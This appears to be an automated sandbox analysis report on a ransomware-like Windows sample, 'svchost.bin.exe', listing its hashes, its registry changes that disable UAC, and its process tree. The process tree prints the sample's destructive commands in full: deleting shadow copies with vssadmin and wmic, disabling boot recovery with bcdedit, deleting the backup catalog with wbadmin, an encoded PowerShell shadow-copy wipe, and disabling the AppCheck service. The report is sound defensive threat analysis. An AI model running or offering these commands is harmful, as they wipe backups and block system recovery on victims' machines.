Analysis
-
max time kernel
109s -
max time network
135s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
21/07/2020, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
svchost.bin.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
svchost.bin.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
svchost.bin.exe
-
Size
312KB
-
MD5
fbd82a5f5bfe23872fad17cf62c41a6e
-
SHA1
03dff661da8207517fc4cb3c0809e8c0fe7f76fa
-
SHA256
a1b6faa0465ec8bf30e3450f9679f121ff9e724257577c38c813b77e82e1f42f
-
SHA512
ac653d1f6b2222c56c3b73715219028a70ca078c87585a11ee2260d68d336e76a794d5d4c111c7c423aa916ed375d18a0cc3a6eb4789e40414243467e11da9bc
Score
10/10
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2112 wrote to memory of 2672 2112 svchost.bin.exe 69 PID 2112 wrote to memory of 2672 2112 svchost.bin.exe 69 PID 2112 wrote to memory of 2672 2112 svchost.bin.exe 69 PID 2112 wrote to memory of 2856 2112 svchost.bin.exe 71 PID 2112 wrote to memory of 2856 2112 svchost.bin.exe 71 PID 2112 wrote to memory of 2856 2112 svchost.bin.exe 71 PID 2112 wrote to memory of 3532 2112 svchost.bin.exe 73 PID 2112 wrote to memory of 3532 2112 svchost.bin.exe 73 PID 2112 wrote to memory of 3532 2112 svchost.bin.exe 73 PID 2672 wrote to memory of 3004 2672 cmd.exe 75 PID 2672 wrote to memory of 3004 2672 cmd.exe 75 PID 2672 wrote to memory of 3004 2672 cmd.exe 75 PID 2856 wrote to memory of 2920 2856 cmd.exe 76 PID 2856 wrote to memory of 2920 2856 cmd.exe 76 PID 2856 wrote to memory of 2920 2856 cmd.exe 76 PID 2856 wrote to memory of 3152 2856 cmd.exe 78 PID 2856 wrote to memory of 3152 2856 cmd.exe 78 PID 2856 wrote to memory of 3152 2856 cmd.exe 78 -
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\host svchost.bin.exe -
System policy modification 1 TTPs 17 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3" svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System svchost.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0" svchost.bin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption svchost.bin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext svchost.bin.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 2112 svchost.bin.exe 2112 svchost.bin.exe 2112 svchost.bin.exe 2112 svchost.bin.exe 2112 svchost.bin.exe 2112 svchost.bin.exe 2112 svchost.bin.exe 2112 svchost.bin.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe 1840 WerFault.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1840 3532 WerFault.exe 73 -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost.bin.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2920 vssadmin.exe -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeBackupPrivilege 1492 vssvc.exe Token: SeRestorePrivilege 1492 vssvc.exe Token: SeAuditPrivilege 1492 vssvc.exe Token: SeIncreaseQuotaPrivilege 3152 WMIC.exe Token: SeSecurityPrivilege 3152 WMIC.exe Token: SeTakeOwnershipPrivilege 3152 WMIC.exe Token: SeLoadDriverPrivilege 3152 WMIC.exe Token: SeSystemProfilePrivilege 3152 WMIC.exe Token: SeSystemtimePrivilege 3152 WMIC.exe Token: SeProfSingleProcessPrivilege 3152 WMIC.exe Token: SeIncBasePriorityPrivilege 3152 WMIC.exe Token: SeCreatePagefilePrivilege 3152 WMIC.exe Token: SeBackupPrivilege 3152 WMIC.exe Token: SeRestorePrivilege 3152 WMIC.exe Token: SeShutdownPrivilege 3152 WMIC.exe Token: SeDebugPrivilege 3152 WMIC.exe Token: SeSystemEnvironmentPrivilege 3152 WMIC.exe Token: SeRemoteShutdownPrivilege 3152 WMIC.exe Token: SeUndockPrivilege 3152 WMIC.exe Token: SeManageVolumePrivilege 3152 WMIC.exe Token: 33 3152 WMIC.exe Token: 34 3152 WMIC.exe Token: 35 3152 WMIC.exe Token: 36 3152 WMIC.exe Token: SeIncreaseQuotaPrivilege 3152 WMIC.exe Token: SeSecurityPrivilege 3152 WMIC.exe Token: SeTakeOwnershipPrivilege 3152 WMIC.exe Token: SeLoadDriverPrivilege 3152 WMIC.exe Token: SeSystemProfilePrivilege 3152 WMIC.exe Token: SeSystemtimePrivilege 3152 WMIC.exe Token: SeProfSingleProcessPrivilege 3152 WMIC.exe Token: SeIncBasePriorityPrivilege 3152 WMIC.exe Token: SeCreatePagefilePrivilege 3152 WMIC.exe Token: SeBackupPrivilege 3152 WMIC.exe Token: SeRestorePrivilege 3152 WMIC.exe Token: SeShutdownPrivilege 3152 WMIC.exe Token: SeDebugPrivilege 3152 WMIC.exe Token: SeSystemEnvironmentPrivilege 3152 WMIC.exe Token: SeRemoteShutdownPrivilege 3152 WMIC.exe Token: SeUndockPrivilege 3152 WMIC.exe Token: SeManageVolumePrivilege 3152 WMIC.exe Token: 33 3152 WMIC.exe Token: 34 3152 WMIC.exe Token: 35 3152 WMIC.exe Token: 36 3152 WMIC.exe Token: SeRestorePrivilege 1840 WerFault.exe Token: SeBackupPrivilege 1840 WerFault.exe Token: SeDebugPrivilege 1840 WerFault.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe"C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe"1⤵
- Suspicious use of WriteProcessMemory
- Drops file in Drivers directory
- System policy modification
- Suspicious behavior: EnumeratesProcesses
- Checks whether UAC is enabled
PID:2112 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc config "AppCheck" start=disabled2⤵
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\SysWOW64\sc.exesc config "AppCheck" start=disabled3⤵PID:3004
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2920
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3152
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵PID:3532
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3532 -s 7043⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1840
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1492